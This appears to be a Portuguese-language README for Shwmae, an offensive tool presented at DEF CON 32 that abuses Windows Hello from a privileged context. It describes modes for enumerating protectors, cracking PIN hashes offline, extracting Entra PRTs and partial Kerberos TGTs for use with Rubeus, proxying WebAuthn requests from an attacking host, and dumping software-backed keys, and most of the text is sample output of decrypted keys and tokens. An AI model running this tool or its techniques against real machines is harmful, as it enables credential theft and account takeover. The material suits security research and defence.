ccob/shwmaeAbusa do Windows Hello a partir de um contexto privilegiado para enumerar protetores, descriptografar chaves, extrair tokens PRT/TGT, fazer proxy de solicitações WebAuthn e despejar chaves privadas baseadas em software.
Shwmae (shuh-my) é uma ferramenta de abuso do Windows Hello lançada durante a DEF CON 32 como parte da palestra Abusing Windows Hello Without a Severed Hand. O objetivo da ferramenta é abusar do Windows Hello a partir de um contexto de usuário privilegiado.
Shwmae
Copyright (C) 2024 Shwmae
enum (Default Verb) Enumerate Windows Hello protectors, keys and credentials
sign Sign data using a Windows Hello protected certificate
prt Obtain an Entra PRT and partial TGT usable with Rubeus
webauthn Create a webserver to proxy WebAuthn requests from an attacking host
dump Dump Windows Hello protected keys when backed by software
help Display more information on a specific command.
version Display version information.
A ferramenta oferece vários modos de operação.
Quando nenhum argumento é fornecido, a enumeração é o modo padrão; alternativamente, você pode usar o comando enum. O modo de enumeração enumerará todos os contêineres do Windows Hello disponíveis e enumerará recursivamente todas as chaves e protetores do Windows Hello registrados dentro do contêiner. Em casos em que não há TPM presente no host, um hash é gerado para o protetor de PIN que pode ser quebrado offline usando hashcat.
O protetor biométrico será descriptografado automaticamente, mas os protetores de PIN e de recuperação podem ser descriptografados usando os argumentos /pin e /token, respectivamente. Apenas um único protetor precisa ser descriptografado de cada contêiner para permitir o abuso das chaves do Windows Hello dentro desse contêiner.
Shwmae
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)
Provider : Microsoft Platform Crypto Provider
Protected Recovery Key: eyJWZXJzaW9uIjoxLCJQcm90ZWN0ZW...
Recovery Key : Use /token argument to decrypt recovery key
** Protectors **
Type : Pin
Pin Type : Numeric
Length : 8
Decrypted : Supply /pin argument to attempt decryption
Type : Bio
Encryption Type: Aes
GCM Nonce : cacf46896844d3f96a55fd8c
GCM AuthData : 01000000200000000c000000b400000010000000cacf46896844d3f96a55fd8c
GCM Tag : f5d6d1c3e35f944038e03013851d6d69
Decrypted : True (Bio Key Correct)
ExtPin : 0f28b81e36b0446cf0deb9ca680c05aeb7b7129ab830936fce3836bbd520ee94
DecryptPin : c63e6e0c199cedff0a086277894f85f510305cef6d4c6ac7efc21bb122f537b1
SignPin : 855b2d32d62a4dafb50d47838d4ce13f8d7d6871718e384d6db22b407ecb05a3
Type : Recovery
IV : 49b2c5b8416e5563387e10a8a3d9ae68
** Credentials **
Resource : WinBio Key Resource
SID : S-1-5-21-1003644063-402998240-3342588708-1111
Protector Key : 59e87b8c63973fb3bfd322016a61e33b59a569c22f9aad22d4c91b6db75bcf52
** Keys **
Name : login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]
Provider : Microsoft Platform Crypto Provider
Key Id : {B8EF94E6-23EE-42D3-B8DB-BC0AC5EF1824}
Key File : 1d3ddd8ac0d04ae299673cd1ffb19b90cc2e277d.PCPKEY
Azure Tenant Id : de60a4fa-d583-4eb0-ab66-ce358af8279c
Azure User : [email protected]
Azure kid : l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=
Name : FIDO_AUTHENTICATOR//3aeb002460381c6f258e8395d3026f571f0d9a76488dcd837639b13aed316560_fda42d8889ba587fc7fa202a2e6d91ffad4642abb9c2bd75ea9f906be188925126bdf07d591267672cc2fa79b0750de2437b1d77d6f924af1b4992f4e3527bb0
Provider : Microsoft Platform Crypto Provider
Key Id : {36E18DBB-52AC-4198-BD34-55B3490A575C}
Key File : 979dffb30e1a28d7d6c6c1a5e55c383db8d04dbd.PCPKEY
FIDO Relay Party : github.com
FIDO Public Key : RUNTMSAAAADkOpq228W7gXH3VTLeCwScNAyJHFmchJjCZass71QHqCyStIrQWry6m-5XK8HTAdU31UXmkuEI6fjdSmGOtWGR
FIDO Cred Id : qhdzMrPMlH-Fg_sdpNiKhuVpnSd__p1vDN41O3Ip3co
FIDO User Id : _aQtiIm6WH_H-iAqLm2R_61GQqu5wr116p-Qa-GIklEmvfB9WRJnZyzC-nmwdQ3iQ3sdd9b5JK8bSZL041J7sA
FIDO User : mary-gruber
FIDO Display Name: mary-gruber
FIDO Sign Count : 2
Name : //9DDC52DB-DC02-4A8C-B892-38DEF4FA748F (Vault Key)
Provider : Microsoft Software Key Storage Provider
Key Id : {7418B315-A00B-4113-A0EC-5C51718D11C5}
Key File : fc65330b205c133f00d035ea9e8dfba6_2a155d6c-838c-43f5-b943-b21cc30532d7
Name : //CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9
Provider : Microsoft Software Key Storage Provider
Key Id : {696644C4-EA34-400C-99D2-8B5E38095AA6}
Key File : c4b537d879e21b5d6f797517912be27b_2a155d6c-838c-43f5-b943-b21cc30532d7
O modo de operação PRT facilita a geração de um PRT inicial e a renovação de PRTs existentes por meio do comando prt, utilizando quaisquer chaves do Windows Hello registradas no Entra. Se a confiança na nuvem estiver habilitada no locatário, o TGT da nuvem é descriptografado e pode ser usado para autenticar como o usuário no Active Directory local usando o Rubeus.
Shwmae prt --sid S-1-5-21-1003644063-402998240-3342588708-1111
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] Found Azure key with UPN [email protected] and kid l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=
[+] Successfully decrypted NGC key set from protector type Bio
Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw
PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==
Para renovações de PRT, o PRT e a chave de sessão são necessários a partir da solicitação inicial do PRT.
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
Transport Key : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
PRT : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
PRT Session Key : AQCeykYwMRUg0d.....uOteU9zR8tCw
PRT Random Ctx : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
PRT Derived Key : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
Partial TGT : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==
O modo de operação WebAuthn configura uma API web simples por meio do comando webauthn, que aceitará solicitações de afirmação WebAuthn da extensão de navegador ShwmaeExt a partir de outro host.